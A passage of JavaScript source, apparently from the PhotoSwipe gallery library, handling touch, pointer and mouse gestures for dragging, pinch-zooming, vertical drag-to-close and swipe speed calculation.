_getEmptyPoint(),\n\t_currCenterPoint = _getEmptyPoint(),\n\t_direction,\n\t_isFirstMove,\n\t_opacityChanged,\n\t_bgOpacity,\n\t_wasOverInitialZoom,\n\n\t_isEqualPoints = function(p1, p2) {\n\t\treturn p1.x === p2.x && p1.y === p2.y;\n\t},\n\t_isNearbyPoints = function(touch0, touch1) {\n\t\treturn Math.abs(touch0.x - touch1.x) < DOUBLE_TAP_RADIUS && Math.abs(touch0.y - touch1.y) < DOUBLE_TAP_RADIUS;\n\t},\n\t_calculatePointsDistance = function(p1, p2) {\n\t\t_tempPoint.x = Math.abs( p1.x - p2.x );\n\t\t_tempPoint.y = Math.abs( p1.y - p2.y );\n\t\treturn Math.sqrt(_tempPoint.x * _tempPoint.x + _tempPoint.y * _tempPoint.y);\n\t},\n\t_stopDragUpdateLoop = function() {\n\t\tif(_dragAnimFrame) {\n\t\t\t_cancelAF(_dragAnimFrame);\n\t\t\t_dragAnimFrame = null;\n\t\t}\n\t},\n\t_dragUpdateLoop = function() {\n\t\tif(_isDragging) {\n\t\t\t_dragAnimFrame = _requestAF(_dragUpdateLoop);\n\t\t\t_renderMovement();\n\t\t}\n\t},\n\t_canPan = function() {\n\t\treturn !(_options.scaleMode === 'fit' && _currZoomLevel ===  self.currItem.initialZoomLevel);\n\t},\n\t\n\t// find the closest parent DOM element\n\t_closestElement = function(el, fn) {\n\t  \tif(!el) {\n\t  \t\treturn false;\n\t  \t}\n\n\t  \t// don't search elements above pswp__scroll-wrap\n\t  \tif(el.className && el.className.indexOf('pswp__scroll-wrap') > -1 ) {\n\t  \t\treturn false;\n\t  \t}\n\n\t  \tif( fn(el) ) {\n\t  \t\treturn el;\n\t  \t}\n\n\t  \treturn _closestElement(el.parentNode, fn);\n\t},\n\n\t_preventObj = {},\n\t_preventDefaultEventBehaviour = function(e, isDown) {\n\t    _preventObj.prevent = !_closestElement(e.target, _options.isClickableElement);\n\n\t\t_shout('preventDragEvent', e, isDown, _preventObj);\n\t\treturn _preventObj.prevent;\n\n\t},\n\t_convertTouchToPoint = function(touch, p) {\n\t\tp.x = touch.pageX;\n\t\tp.y = touch.pageY;\n\t\tp.id = touch.identifier;\n\t\treturn p;\n\t},\n\t_findCenterOfPoints = function(p1, p2, pCenter) {\n\t\tpCenter.x = (p1.x + p2.x) * 0.5;\n\t\tpCenter.y = (p1.y + p2.y) * 0.5;\n\t},\n\t_pushPosPoint = function(time, x, y) {\n\t\tif(time - _gestureCheckSpeedTime > 50) {\n\t\t\tvar o = _posPoints.length > 2 ? _posPoints.shift() : {};\n\t\t\to.x = x;\n\t\t\to.y = y; \n\t\t\t_posPoints.push(o);\n\t\t\t_gestureCheckSpeedTime = time;\n\t\t}\n\t},\n\n\t_calculateVerticalDragOpacityRatio = function() {\n\t\tvar yOffset = _panOffset.y - self.currItem.initialPosition.y; // difference between initial and current position\n\t\treturn 1 -  Math.abs( yOffset / (_viewportSize.y / 2)  );\n\t},\n\n\t\n\t// points pool, reused during touch events\n\t_ePoint1 = {},\n\t_ePoint2 = {},\n\t_tempPointsArr = [],\n\t_tempCounter,\n\t_getTouchPoints = function(e) {\n\t\t// clean up previous points, without recreating array\n\t\twhile(_tempPointsArr.length > 0) {\n\t\t\t_tempPointsArr.pop();\n\t\t}\n\n\t\tif(!_pointerEventEnabled) {\n\t\t\tif(e.type.indexOf('touch') > -1) {\n\n\t\t\t\tif(e.touches && e.touches.length > 0) {\n\t\t\t\t\t_tempPointsArr[0] = _convertTouchToPoint(e.touches[0], _ePoint1);\n\t\t\t\t\tif(e.touches.length > 1) {\n\t\t\t\t\t\t_tempPointsArr[1] = _convertTouchToPoint(e.touches[1], _ePoint2);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\t_ePoint1.x = e.pageX;\n\t\t\t\t_ePoint1.y = e.pageY;\n\t\t\t\t_ePoint1.id = '';\n\t\t\t\t_tempPointsArr[0] = _ePoint1;//_ePoint1;\n\t\t\t}\n\t\t} else {\n\t\t\t_tempCounter = 0;\n\t\t\t// we can use forEach, as pointer events are supported only in modern browsers\n\t\t\t_currPointers.forEach(function(p) {\n\t\t\t\tif(_tempCounter === 0) {\n\t\t\t\t\t_tempPointsArr[0] = p;\n\t\t\t\t} else if(_tempCounter === 1) {\n\t\t\t\t\t_tempPointsArr[1] = p;\n\t\t\t\t}\n\t\t\t\t_tempCounter++;\n\n\t\t\t});\n\t\t}\n\t\treturn _tempPointsArr;\n\t},\n\n\t_panOrMoveMainScroll = function(axis, delta) {\n\n\t\tvar panFriction,\n\t\t\toverDiff = 0,\n\t\t\tnewOffset = _panOffset[axis] + delta[axis],\n\t\t\tstartOverDiff,\n\t\t\tdir = delta[axis] > 0,\n\t\t\tnewMainScrollPosition = _mainScrollPos.x + delta.x,\n\t\t\tmainScrollDiff = _mainScrollPos.x - _startMainScrollPos.x,\n\t\t\tnewPanPos,\n\t\t\tnewMainScrollPos;\n\n\t\t// calculate fdistance over the bounds and friction\n\t\tif(newOffset > _currPanBounds.min[axis] || newOffset < _currPanBounds.max[axis]) {\n\t\t\tpanFriction = _options.panEndFriction;\n\t\t\t// Linear increasing of friction, so at 1/4 of viewport it's at max value. \n\t\t\t// Looks not as nice as was expected. Left for history.\n\t\t\t// panFriction = (1 - (_panOffset[axis] + delta[axis] + panBounds.min[axis]) / (_viewportSize[axis] / 4) );\n\t\t} else {\n\t\t\tpanFriction = 1;\n\t\t}\n\t\t\n\t\tnewOffset = _panOffset[axis] + delta[axis] * panFriction;\n\n\t\t// move main scroll or start panning\n\t\tif(_options.allowPanToNext || _currZoomLevel === self.currItem.initialZoomLevel) {\n\n\n\t\t\tif(!_currZoomElementStyle) {\n\t\t\t\t\n\t\t\t\tnewMainScrollPos = newMainScrollPosition;\n\n\t\t\t} else if(_direction === 'h' && axis === 'x' && !_zoomStarted ) {\n\t\t\t\t\n\t\t\t\tif(dir) {\n\t\t\t\t\tif(newOffset > _currPanBounds.min[axis]) {\n\t\t\t\t\t\tpanFriction = _options.panEndFriction;\n\t\t\t\t\t\toverDiff = _currPanBounds.min[axis] - newOffset;\n\t\t\t\t\t\tstartOverDiff = _currPanBounds.min[axis] - _startPanOffset[axis];\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t// drag right\n\t\t\t\t\tif( (startOverDiff <= 0 || mainScrollDiff < 0) && _getNumItems() > 1 ) {\n\t\t\t\t\t\tnewMainScrollPos = newMainScrollPosition;\n\t\t\t\t\t\tif(mainScrollDiff < 0 && newMainScrollPosition > _startMainScrollPos.x) {\n\t\t\t\t\t\t\tnewMainScrollPos = _startMainScrollPos.x;\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif(_currPanBounds.min.x !== _currPanBounds.max.x) {\n\t\t\t\t\t\t\tnewPanPos = newOffset;\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t}\n\n\t\t\t\t} else {\n\n\t\t\t\t\tif(newOffset < _currPanBounds.max[axis] ) {\n\t\t\t\t\t\tpanFriction =_options.panEndFriction;\n\t\t\t\t\t\toverDiff = newOffset - _currPanBounds.max[axis];\n\t\t\t\t\t\tstartOverDiff = _startPanOffset[axis] - _currPanBounds.max[axis];\n\t\t\t\t\t}\n\n\t\t\t\t\tif( (startOverDiff <= 0 || mainScrollDiff > 0) && _getNumItems() > 1 ) {\n\t\t\t\t\t\tnewMainScrollPos = newMainScrollPosition;\n\n\t\t\t\t\t\tif(mainScrollDiff > 0 && newMainScrollPosition < _startMainScrollPos.x) {\n\t\t\t\t\t\t\tnewMainScrollPos = _startMainScrollPos.x;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t} else {\n\t\t\t\t\t\tif(_currPanBounds.min.x !== _currPanBounds.max.x) {\n\t\t\t\t\t\t\tnewPanPos = newOffset;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\n\t\t\t\t//\n\t\t\t}\n\n\t\t\tif(axis === 'x') {\n\n\t\t\t\tif(newMainScrollPos !== undefined) {\n\t\t\t\t\t_moveMainScroll(newMainScrollPos, true);\n\t\t\t\t\tif(newMainScrollPos === _startMainScrollPos.x) {\n\t\t\t\t\t\t_mainScrollShifted = false;\n\t\t\t\t\t} else {\n\t\t\t\t\t\t_mainScrollShifted = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif(_currPanBounds.min.x !== _currPanBounds.max.x) {\n\t\t\t\t\tif(newPanPos !== undefined) {\n\t\t\t\t\t\t_panOffset.x = newPanPos;\n\t\t\t\t\t} else if(!_mainScrollShifted) {\n\t\t\t\t\t\t_panOffset.x += delta.x * panFriction;\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\treturn newMainScrollPos !== undefined;\n\t\t\t}\n\n\t\t}\n\n\t\tif(!_mainScrollAnimating) {\n\t\t\t\n\t\t\tif(!_mainScrollShifted) {\n\t\t\t\tif(_currZoomLevel > self.currItem.fitRatio) {\n\t\t\t\t\t_panOffset[axis] += delta[axis] * panFriction;\n\t\t\t\t\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t\n\t\t}\n\t\t\n\t},\n\n\t// Pointerdown/touchstart/mousedown handler\n\t_onDragStart = function(e) {\n\n\t\t// Allow dragging only via left mouse button.\n\t\t// As this handler is not added in IE8 - we ignore e.which\n\t\t// \n\t\t// http://www.quirksmode.org/js/events_properties.html\n\t\t// https://developer.mozilla.org/en-US/docs/Web/API/event.button\n\t\tif(e.type === 'mousedown' && e.button > 0  ) {\n\t\t\treturn;\n\t\t}\n\n\t\tif(_initialZoomRunning) {\n\t\t\te.preventDefault();\n\t\t\treturn;\n\t\t}\n\n\t\tif(_oldAndroidTouchEndTimeout && e.type === 'mousedown') {\n\t\t\treturn;\n\t\t}\n\n\t\tif(_preventDefaultEventBehaviour(e, true)) {\n\t\t\te.preventDefault();\n\t\t}\n\n\n\n\t\t_shout('pointerDown');\n\n\t\tif(_pointerEventEnabled) {\n\t\t\tvar pointerIndex = framework.arraySearch(_currPointers, e.pointerId, 'id');\n\t\t\tif(pointerIndex < 0) {\n\t\t\t\tpointerIndex = _currPointers.length;\n\t\t\t}\n\t\t\t_currPointers[pointerIndex] = {x:e.pageX, y:e.pageY, id: e.pointerId};\n\t\t}\n\t\t\n\n\n\t\tvar startPointsList = _getTouchPoints(e),\n\t\t\tnumPoints = startPointsList.length;\n\n\t\t_currentPoints = null;\n\n\t\t_stopAllAnimations();\n\n\t\t// init drag\n\t\tif(!_isDragging || numPoints === 1) {\n\n\t\t\t\n\n\t\t\t_isDragging = _isFirstMove = true;\n\t\t\tframework.bind(window, _upMoveEvents, self);\n\n\t\t\t_isZoomingIn = \n\t\t\t\t_wasOverInitialZoom = \n\t\t\t\t_opacityChanged = \n\t\t\t\t_verticalDragInitiated = \n\t\t\t\t_mainScrollShifted = \n\t\t\t\t_moved = \n\t\t\t\t_isMultitouch = \n\t\t\t\t_zoomStarted = false;\n\n\t\t\t_direction = null;\n\n\t\t\t_shout('firstTouchStart', startPointsList);\n\n\t\t\t_equalizePoints(_startPanOffset, _panOffset);\n\n\t\t\t_currPanDist.x = _currPanDist.y = 0;\n\t\t\t_equalizePoints(_currPoint, startPointsList[0]);\n\t\t\t_equalizePoints(_startPoint, _currPoint);\n\n\t\t\t//_equalizePoints(_startMainScrollPos, _mainScrollPos);\n\t\t\t_startMainScrollPos.x = _slideSize.x * _currPositionIndex;\n\n\t\t\t_posPoints = [{\n\t\t\t\tx: _currPoint.x,\n\t\t\t\ty: _currPoint.y\n\t\t\t}];\n\n\t\t\t_gestureCheckSpeedTime = _gestureStartTime = _getCurrentTime();\n\n\t\t\t//_mainScrollAnimationEnd(true);\n\t\t\t_calculatePanBounds( _currZoomLevel, true );\n\t\t\t\n\t\t\t// Start rendering\n\t\t\t_stopDragUpdateLoop();\n\t\t\t_dragUpdateLoop();\n\t\t\t\n\t\t}\n\n\t\t// init zoom\n\t\tif(!_isZooming && numPoints > 1 && !_mainScrollAnimating && !_mainScrollShifted) {\n\t\t\t_startZoomLevel = _currZoomLevel;\n\t\t\t_zoomStarted = false; // true if zoom changed at least once\n\n\t\t\t_isZooming = _isMultitouch = true;\n\t\t\t_currPanDist.y = _currPanDist.x = 0;\n\n\t\t\t_equalizePoints(_startPanOffset, _panOffset);\n\n\t\t\t_equalizePoints(p, startPointsList[0]);\n\t\t\t_equalizePoints(p2, startPointsList[1]);\n\n\t\t\t_findCenterOfPoints(p, p2, _currCenterPoint);\n\n\t\t\t_midZoomPoint.x = Math.abs(_currCenterPoint.x) - _panOffset.x;\n\t\t\t_midZoomPoint.y = Math.abs(_currCenterPoint.y) - _panOffset.y;\n\t\t\t_currPointsDistance = _startPointsDistance = _calculatePointsDistance(p, p2);\n\t\t}\n\n\n\t},\n\n\t// Pointermove/touchmove/mousemove handler\n\t_onDragMove = function(e) {\n\n\t\te.preventDefault();\n\n\t\tif(_pointerEventEnabled) {\n\t\t\tvar pointerIndex = framework.arraySearch(_currPointers, e.pointerId, 'id');\n\t\t\tif(pointerIndex > -1) {\n\t\t\t\tvar p = _currPointers[pointerIndex];\n\t\t\t\tp.x = e.pageX;\n\t\t\t\tp.y = e.pageY; \n\t\t\t}\n\t\t}\n\n\t\tif(_isDragging) {\n\t\t\tvar touchesList = _getTouchPoints(e);\n\t\t\tif(!_direction && !_moved && !_isZooming) {\n\n\t\t\t\tif(_mainScrollPos.x !== _slideSize.x * _currPositionIndex) {\n\t\t\t\t\t// if main scroll position is shifted – direction is always horizontal\n\t\t\t\t\t_direction = 'h';\n\t\t\t\t} else {\n\t\t\t\t\tvar diff = Math.abs(touchesList[0].x - _currPoint.x) - Math.abs(touchesList[0].y - _currPoint.y);\n\t\t\t\t\t// check the direction of movement\n\t\t\t\t\tif(Math.abs(diff) >= DIRECTION_CHECK_OFFSET) {\n\t\t\t\t\t\t_direction = diff > 0 ? 'h' : 'v';\n\t\t\t\t\t\t_currentPoints = touchesList;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} else {\n\t\t\t\t_currentPoints = touchesList;\n\t\t\t}\n\t\t}\t\n\t},\n\t// \n\t_renderMovement =  function() {\n\n\t\tif(!_currentPoints) {\n\t\t\treturn;\n\t\t}\n\n\t\tvar numPoints = _currentPoints.length;\n\n\t\tif(numPoints === 0) {\n\t\t\treturn;\n\t\t}\n\n\t\t_equalizePoints(p, _currentPoints[0]);\n\n\t\tdelta.x = p.x - _currPoint.x;\n\t\tdelta.y = p.y - _currPoint.y;\n\n\t\tif(_isZooming && numPoints > 1) {\n\t\t\t// Handle behaviour for more than 1 point\n\n\t\t\t_currPoint.x = p.x;\n\t\t\t_currPoint.y = p.y;\n\t\t\n\t\t\t// check if one of two points changed\n\t\t\tif( !delta.x && !delta.y && _isEqualPoints(_currentPoints[1], p2) ) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t_equalizePoints(p2, _currentPoints[1]);\n\n\n\t\t\tif(!_zoomStarted) {\n\t\t\t\t_zoomStarted = true;\n\t\t\t\t_shout('zoomGestureStarted');\n\t\t\t}\n\t\t\t\n\t\t\t// Distance between two points\n\t\t\tvar pointsDistance = _calculatePointsDistance(p,p2);\n\n\t\t\tvar zoomLevel = _calculateZoomLevel(pointsDistance);\n\n\t\t\t// slightly over the of initial zoom level\n\t\t\tif(zoomLevel > self.currItem.initialZoomLevel + self.currItem.initialZoomLevel / 15) {\n\t\t\t\t_wasOverInitialZoom = true;\n\t\t\t}\n\n\t\t\t// Apply the friction if zoom level is out of the bounds\n\t\t\tvar zoomFriction = 1,\n\t\t\t\tminZoomLevel = _getMinZoomLevel(),\n\t\t\t\tmaxZoomLevel = _getMaxZoomLevel();\n\n\t\t\tif ( zoomLevel < minZoomLevel ) {\n\t\t\t\t\n\t\t\t\tif(_options.pinchToClose && !_wasOverInitialZoom && _startZoomLevel <= self.currItem.initialZoomLevel) {\n\t\t\t\t\t// fade out background if zooming out\n\t\t\t\t\tvar minusDiff = minZoomLevel - zoomLevel;\n\t\t\t\t\tvar percent = 1 - minusDiff / (minZoomLevel / 1.2);\n\n\t\t\t\t\t_applyBgOpacity(percent);\n\t\t\t\t\t_shout('onPinchClose', percent);\n\t\t\t\t\t_opacityChanged = true;\n\t\t\t\t} else {\n\t\t\t\t\tzoomFriction = (minZoomLevel - zoomLevel) / minZoomLevel;\n\t\t\t\t\tif(zoomFriction > 1) {\n\t\t\t\t\t\tzoomFriction = 1;\n\t\t\t\t\t}\n\t\t\t\t\tzoomLevel = minZoomLevel - zoomFriction * (minZoomLevel / 3);\n\t\t\t\t}\n\t\t\t\t\n\t\t\t} else if ( zoomLevel > maxZoomLevel ) {\n\t\t\t\t// 1.5 - extra zoom level above the max. E.g. if max is x6, real max 6 + 1.5 = 7.5\n\t\t\t\tzoomFriction = (zoomLevel - maxZoomLevel) / ( minZoomLevel * 6 );\n\t\t\t\tif(zoomFriction > 1) {\n\t\t\t\t\tzoomFriction = 1;\n\t\t\t\t}\n\t\t\t\tzoomLevel = maxZoomLevel + zoomFriction * minZoomLevel;\n\t\t\t}\n\n\t\t\tif(zoomFriction < 0) {\n\t\t\t\tzoomFriction = 0;\n\t\t\t}\n\n\t\t\t// distance between touch points after friction is applied\n\t\t\t_currPointsDistance = pointsDistance;\n\n\t\t\t// _centerPoint - The point in the middle of two pointers\n\t\t\t_findCenterOfPoints(p, p2, _centerPoint);\n\t\t\n\t\t\t// paning with two pointers pressed\n\t\t\t_currPanDist.x += _centerPoint.x - _currCenterPoint.x;\n\t\t\t_currPanDist.y += _centerPoint.y - _currCenterPoint.y;\n\t\t\t_equalizePoints(_currCenterPoint, _centerPoint);\n\n\t\t\t_panOffset.x = _calculatePanOffset('x', zoomLevel);\n\t\t\t_panOffset.y = _calculatePanOffset('y', zoomLevel);\n\n\t\t\t_isZoomingIn = zoomLevel > _currZoomLevel;\n\t\t\t_currZoomLevel = zoomLevel;\n\t\t\t_applyCurrentZoomPan();\n\n\t\t} else {\n\n\t\t\t// handle behaviour for one point (dragging or panning)\n\n\t\t\tif(!_direction) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif(_isFirstMove) {\n\t\t\t\t_isFirstMove = false;\n\n\t\t\t\t// subtract drag distance that was used during the detection direction  \n\n\t\t\t\tif( Math.abs(delta.x) >= DIRECTION_CHECK_OFFSET) {\n\t\t\t\t\tdelta.x -= _currentPoints[0].x - _startPoint.x;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\tif( Math.abs(delta.y) >= DIRECTION_CHECK_OFFSET) {\n\t\t\t\t\tdelta.y -= _currentPoints[0].y - _startPoint.y;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t_currPoint.x = p.x;\n\t\t\t_currPoint.y = p.y;\n\n\t\t\t// do nothing if pointers position hasn't changed\n\t\t\tif(delta.x === 0 && delta.y === 0) {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\tif(_direction === 'v' && _options.closeOnVerticalDrag) {\n\t\t\t\tif(!_canPan()) {\n\t\t\t\t\t_currPanDist.y += delta.y;\n\t\t\t\t\t_panOffset.y += delta.y;\n\n\t\t\t\t\tvar opacityRatio = _calculateVerticalDragOpacityRatio();\n\n\t\t\t\t\t_verticalDragInitiated = true;\n\t\t\t\t\t_shout('onVerticalDrag', opacityRatio);\n\n\t\t\t\t\t_applyBgOpacity(opacityRatio);\n\t\t\t\t\t_applyCurrentZoomPan();\n\t\t\t\t\treturn ;\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t_pushPosPoint(_getCurrentTime(), p.x, p.y);\n\n\t\t\t_moved = true;\n\t\t\t_currPanBounds = self.currItem.bounds;\n\t\t\t\n\t\t\tvar mainScrollChanged = _panOrMoveMainScroll('x', delta);\n\t\t\tif(!mainScrollChanged) {\n\t\t\t\t_panOrMoveMainScroll('y', delta);\n\n\t\t\t\t_roundPoint(_panOffset);\n\t\t\t\t_applyCurrentZoomPan();\n\t\t\t}\n\n\t\t}\n\n\t},\n\t\n\t// Pointerup/pointercancel/touchend/touchcancel/mouseup event handler\n\t_onDragRelease = function(e) {\n\n\t\tif(_features.isOldAndroid ) {\n\n\t\t\tif(_oldAndroidTouchEndTimeout && e.type === 'mouseup') {\n\t\t\t\treturn;\n\t\t\t}\n\n\t\t\t// on Android (v4.1, 4.2, 4.3 & possibly older) \n\t\t\t// ghost mousedown/up event isn't preventable via e.preventDefault,\n\t\t\t// which causes fake mousedown event\n\t\t\t// so we block mousedown/up for 600ms\n\t\t\tif( e.type.indexOf('touch') > -1 ) {\n\t\t\t\tclearTimeout(_oldAndroidTouchEndTimeout);\n\t\t\t\t_oldAndroidTouchEndTimeout = setTimeout(function() {\n\t\t\t\t\t_oldAndroidTouchEndTimeout = 0;\n\t\t\t\t}, 600);\n\t\t\t}\n\t\t\t\n\t\t}\n\n\t\t_shout('pointerUp');\n\n\t\tif(_preventDefaultEventBehaviour(e, false)) {\n\t\t\te.preventDefault();\n\t\t}\n\n\t\tvar releasePoint;\n\n\t\tif(_pointerEventEnabled) {\n\t\t\tvar pointerIndex = framework.arraySearch(_currPointers, e.pointerId, 'id');\n\t\t\t\n\t\t\tif(pointerIndex > -1) {\n\t\t\t\treleasePoint = _currPointers.splice(pointerIndex, 1)[0];\n\n\t\t\t\tif(navigator.pointerEnabled) {\n\t\t\t\t\treleasePoint.type = e.pointerType || 'mouse';\n\t\t\t\t} else {\n\t\t\t\t\tvar MSPOINTER_TYPES = {\n\t\t\t\t\t\t4: 'mouse', // event.MSPOINTER_TYPE_MOUSE\n\t\t\t\t\t\t2: 'touch', // event.MSPOINTER_TYPE_TOUCH \n\t\t\t\t\t\t3: 'pen' // event.MSPOINTER_TYPE_PEN\n\t\t\t\t\t};\n\t\t\t\t\treleasePoint.type = MSPOINTER_TYPES[e.pointerType];\n\n\t\t\t\t\tif(!releasePoint.type) {\n\t\t\t\t\t\treleasePoint.type = e.pointerType || 'mouse';\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t}\n\t\t}\n\n\t\tvar touchList = _getTouchPoints(e),\n\t\t\tgestureType,\n\t\t\tnumPoints = touchList.length;\n\n\t\tif(e.type === 'mouseup') {\n\t\t\tnumPoints = 0;\n\t\t}\n\n\t\t// Do nothing if there were 3 touch points or more\n\t\tif(numPoints === 2) {\n\t\t\t_currentPoints = null;\n\t\t\treturn true;\n\t\t}\n\n\t\t// if second pointer released\n\t\tif(numPoints === 1) {\n\t\t\t_equalizePoints(_startPoint, touchList[0]);\n\t\t}\t\t\t\t\n\n\n\t\t// pointer hasn't moved, send \"tap release\" point\n\t\tif(numPoints === 0 && !_direction && !_mainScrollAnimating) {\n\t\t\tif(!releasePoint) {\n\t\t\t\tif(e.type === 'mouseup') {\n\t\t\t\t\treleasePoint = {x: e.pageX, y: e.pageY, type:'mouse'};\n\t\t\t\t} else if(e.changedTouches && e.changedTouches[0]) {\n\t\t\t\t\treleasePoint = {x: e.changedTouches[0].pageX, y: e.changedTouches[0].pageY, type:'touch'};\n\t\t\t\t}\t\t\n\t\t\t}\n\n\t\t\t_shout('touchRelease', e, releasePoint);\n\t\t}\n\n\t\t// Difference in time between releasing of two last touch points (zoom gesture)\n\t\tvar releaseTimeDiff = -1;\n\n\t\t// Gesture completed, no pointers left\n\t\tif(numPoints === 0) {\n\t\t\t_isDragging = false;\n\t\t\tframework.unbind(window, _upMoveEvents, self);\n\n\t\t\t_stopDragUpdateLoop();\n\n\t\t\tif(_isZooming) {\n\t\t\t\t// Two points released at the same time\n\t\t\t\treleaseTimeDiff = 0;\n\t\t\t} else if(_lastReleaseTime !== -1) {\n\t\t\t\treleaseTimeDiff = _getCurrentTime() - _lastReleaseTime;\n\t\t\t}\n\t\t}\n\t\t_lastReleaseTime = numPoints === 1 ? _getCurrentTime() : -1;\n\t\t\n\t\tif(releaseTimeDiff !== -1 && releaseTimeDiff < 150) {\n\t\t\tgestureType = 'zoom';\n\t\t} else {\n\t\t\tgestureType = 'swipe';\n\t\t}\n\n\t\tif(_isZooming && numPoints < 2) {\n\t\t\t_isZooming = false;\n\n\t\t\t// Only second point released\n\t\t\tif(numPoints === 1) {\n\t\t\t\tgestureType = 'zoomPointerUp';\n\t\t\t}\n\t\t\t_shout('zoomGestureEnded');\n\t\t}\n\n\t\t_currentPoints = null;\n\t\tif(!_moved && !_zoomStarted && !_mainScrollAnimating && !_verticalDragInitiated) {\n\t\t\t// nothing to animate\n\t\t\treturn;\n\t\t}\n\t\n\t\t_stopAllAnimations();\n\n\t\t\n\t\tif(!_releaseAnimData) {\n\t\t\t_releaseAnimData = _initDragReleaseAnimationData();\n\t\t}\n\t\t\n\t\t_releaseAnimData.calculateSwipeSpeed('x');\n\n\n\t\tif(_verticalDragInitiated) {\n\n\t\t\tvar opacityRatio = _calculateVerticalDragOpacityRatio();\n\n\t\t\tif(opacityRatio < _options.verticalDragRange) {\n\t\t\t\tself.close();\n\t\t\t} else {\n\t\t\t\tvar initalPanY = _panOffset.y,\n\t\t\t\t\tinitialBgOpacity = _bgOpacity;\n\n\t\t\t\t_animateProp('verticalDrag', 0, 1, 300, framework.easing.cubic.out, function(now) {\n\t\t\t\t\t\n\t\t\t\t\t_panOffset.y = (self.currItem.initialPosition.y - initalPanY) * now + initalPanY;\n\n\t\t\t\t\t_applyBgOpacity(  (1 - initialBgOpacity) * now + initialBgOpacity );\n\t\t\t\t\t_applyCurrentZoomPan();\n\t\t\t\t});\n\n\t\t\t\t_shout('onVerticalDrag', 1);\n\t\t\t}\n\n\t\t\treturn;\n\t\t}\n\n\n\t\t// main scroll \n\t\tif(  (_mainScrollShifted || _mainScrollAnimating) && numPoints === 0) {\n\t\t\tvar itemChanged = _finishSwipeMainScrollGesture(gestureType, _releaseAnimData);\n\t\t\tif(itemChanged) {\n\t\t\t\treturn;\n\t\t\t}\n\t\t\tgestureType = 'zoomPointerUp';\n\t\t}\n\n\t\t// prevent zoom/pan animation when main scroll animation runs\n\t\tif(_mainScrollAnimating) {\n\t\t\treturn;\n\t\t}\n\t\t\n\t\t// Complete simple zoom gesture (reset zoom level if it's out of the bounds)  \n\t\tif(gestureType !== 'swipe') {\n\t\t\t_completeZoomGesture();\n\t\t\treturn;\n\t\t}\n\t\n\t\t// Complete pan gesture if main scroll is not shifted, and it's possible to pan current image\n\t\tif(!_mainScrollShifted && _currZoomLevel > self.currItem.fitRatio) {\n\t\t\t_completePanGesture(_releaseAnimData);\n\t\t}\n\t},\n\n\n\t// Returns object with data about gesture\n\t// It's created only once and then reused\n\t_initDragReleaseAnimationData  = function() {\n\t\t// temp local vars\n\t\tvar lastFlickDuration,\n\t\t\ttempReleasePos;\n\n\t\t// s = this\n\t\tvar s = {\n\t\t\tlastFlickOffset: {},\n\t\t\tlastFlickDist: {},\n\t\t\tlastFlickSpeed: {},\n\t\t\tslowDownRatio:  {},\n\t\t\tslowDownRatioReverse:  {},\n\t\t\tspeedDecelerationRatio:  {},\n\t\t\tspeedDecelerationRatioAbs:  {},\n\t\t\tdistanceOffset:  {},\n\t\t\tbackAnimDestination: {},\n\t\t\tbackAnimStarted: {},\n\t\t\tcalculateSwipeSpeed: function(axis) {\n\t\t\t\t\n\n\t\t\t\tif( _posPoints.length > 1) {\n\t\t\t\t\tlastFlickDuration = _getCurrentTime() - _gestureCheckSpeedTime + 50;\n\t\t\t\t\ttempReleasePos = _posPoints[_posPoints.length-2][axis];\n\t\t\t\t} else {\n\t\t\t\t\tlastFlickDuration = _getCurrentTime() - _gestureStartTime; // total gesture duration\n\t\t\t\t\ttempReleasePos = _startPoint[axis];\n\t\t\t\t}\n\t\t\t\ts.lastFlickOffset[axis] = _currPoint[axis] - tempReleasePos;\n\t\t\t\ts.lastFlickDist[axis] = Math.abs(s.lastFlickOffset[axis]);\n\t\t\t\tif(s.lastFlickDist[axis] > 20) {\n\t\t\t\t\ts.lastFlickSpeed[axis] = s.lastFlickOffset[axis] / lastFlickDuration;\n\t\t\t\t} else {\n\t\t\t\t\ts.lastFlickSpeed[axis] = 0;\n\t\t\t\t}\n\t\t\t\tif( Math.abs(s.lastFlickSpeed[axis]) < 0.1 ) {\n\t\t\t\t\ts.lastFlickSpeed[axis] = 0;\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\ts.slowDownRatio[axis] = 0.95;\n\t\t\t\ts.slowDownRatioReverse[axis] = 1 - s.slowDownRatio[axis];\n\t\t\t\ts.speedDecelerationRatio[axis] = 1;\n\t\t\t},\n\n\t\t\tcalculateOverBoundsAnimOffset: function(axis, speed) {\n\t\t\t\tif(!s.backAnimStarted[axis]) {\n\n\t\t\t\t\tif(_panOffset[axis] > _currPanBounds.min[axis]) {\n\t\t\t\t\t\ts.backAnimDestination[axis] = _currPanBounds.min[axis];\n\t\t\t\t\t\t\n\t\t\t\t\t} else if(_panOffset[axis] < _currPanBounds.max[axis]) {\n\t\t\t\t\t\ts.backAnimDestination[axis] = _currPanBounds.max[axis];\n\t\t\t\t\t}\n\n\t\t\t\t\tif(s.backAnimDestination[axis] !== undefined) {\n\t\t\t\t\t\ts.slowDownRatio[axis] = 0.7;\n\t\t\t\t\t\ts.slowDownRatioReverse[axis] = 1 - s.slowDownRatio[axis];\n\t\t\t\t\t\tif(s.speedDecelerationRatioAbs[axis] < 0.05) {\n\n\t\t\t\t\t\t\ts.lastFlickSpeed[axis] = 0;\n\t\t\t\t\t\t\ts.backAnimStarted[axis] = true;\n\n\t\t\t\t\t\t\t_animateProp('bounceZoomPan'+axis,_panOffset[axis], \n\t\t\t\t\t\t\t\ts.backAnimDestination[axis], \n\t\t\t\t\t\t\t\tspeed || 300, 